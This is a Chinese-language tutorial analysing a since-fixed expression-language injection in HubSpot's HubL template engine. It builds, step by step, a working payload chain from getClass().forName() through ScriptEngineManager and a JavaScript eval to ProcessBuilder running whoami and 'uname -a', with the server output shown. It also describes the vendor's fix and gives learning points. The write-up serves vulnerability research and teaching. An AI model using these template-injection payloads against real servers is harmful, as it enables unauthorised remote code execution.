HubL中的EL注入导致远程代码执行
字数 2098 2025-08-29 08:31:35
HubL表达式语言注入漏洞分析与利用教学
漏洞概述
本教学文档详细分析HubL(HubSpot模板语言)中的表达式语言(EL)注入漏洞,该漏洞最终可导致远程代码执行(RCE)。漏洞存在于HubSpot CRM的模板和自定义模块功能中,允许攻击者通过精心构造的HubL表达式在服务器端执行任意Java代码。
基础知识
HubL语言简介
HubL是HubSpot基于Jinja开发的模板语言,使用三种分隔符:
{% %}- 语句分隔符:用于创建可编辑模块、定义条件逻辑、设置循环、声明变量等{{ }}- 表达式分隔符:其中的内容会被模板引擎解析并执行{# #}- 注释分隔符:其中的内容会被忽略
关键特性
- 支持内置变量如
{{ account }}、{{ company_domain }}、{{ content }}等 - 允许用户声明自定义变量并在表达式中使用
- 底层基于Java实现,可调用Java对象的方法
漏洞发现过程
初步探测
- 使用简单表达式测试:
{{7 * 7}}返回49,确认表达式被执行 - 尝试识别模板引擎类型,但未匹配已知模式
- 发现未记录的
request变量:{{request}}返回com.hubspot.content.hubl.context.TemplateContextRequest@23548206
Java环境确认
- 字符串操作测试:
{{'a'.toUpperCase()}}→A{{'a'.concat('b')}}→ab
- 获取类信息:
{{'a'.getClass()}}→java.lang.String{{request.getClass()}}→class com.hubspot.content.hubl.context.TemplateContextRequest
深入探索
- 获取类方法:
{{request.getClass().getDeclaredMethods()[0]}}→public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
- 调用方法:
{{request.isDebug()}}→false
- 实例化其他类:
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}→sun.misc.Launcher@715537d4{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}→com.hubspot.jinjava.JinjavaConfig@78a56797
漏洞利用技术
初始RCE尝试
尝试直接实例化Runtime类失败:
{{'a'.getClass().forName('java.lang.Runtime').newInstance()}}
返回错误:IllegalAccessException,因为Runtime构造方法是私有的
替代方案探索
- 尝试
System类同样失败 - 发现
javax.script.ScriptEngineManager可用:
成功返回:{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance()}}javax.script.ScriptEngineManager@727c1a89
JavaScript引擎利用
-
获取JavaScript引擎:
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript')}}返回:
jdk.nashorn.api.scripting.NashornScriptEngine@7f97607a -
执行简单eval测试:
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval("new java.lang.String('xxx')")}}成功返回:
xxx
实现命令执行
-
基本命令执行:
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval("var x=new java.lang.ProcessBuilder; x.command(\"whoami\"); x.start()")}}返回进程对象:
java.lang.UNIXProcess@1e5f456e -
获取命令输出:
使用org.apache.commons.io.IOUtils读取命令输出:{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval("var x=new java.lang.ProcessBuilder; x.command(\"uname\",\"-a\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())")}}返回系统信息:
Linux bumpy-puma 4.9.62-hs4.el6.x86_64...
完整利用链
- 通过
getClass()方法获取String类 - 使用
forName()加载ScriptEngineManager类 - 实例化
ScriptEngineManager - 获取JavaScript引擎
- 使用
eval()执行JavaScript代码 - 在JavaScript中创建
ProcessBuilder对象 - 设置要执行的命令
- 使用
IOUtils.toString()获取命令输出
防御措施
HubSpot通过以下方式修复了该漏洞:
- 禁用变量上的
getClass方法 - 限制敏感类的实例化和方法调用
学习要点
- 表达式语言注入可能导致严重的RCE漏洞
- 即使直接访问受限(如Runtime类),也可能存在替代利用路径
- Java环境提供了多种实现RCE的方式
- 漏洞研究需要深入了解目标技术栈和不断尝试的精神
参考资源
- Jinjava项目源代码
- Java反射机制文档
- ScriptEngineManager API文档
- 相关安全研究文章(见原文链接)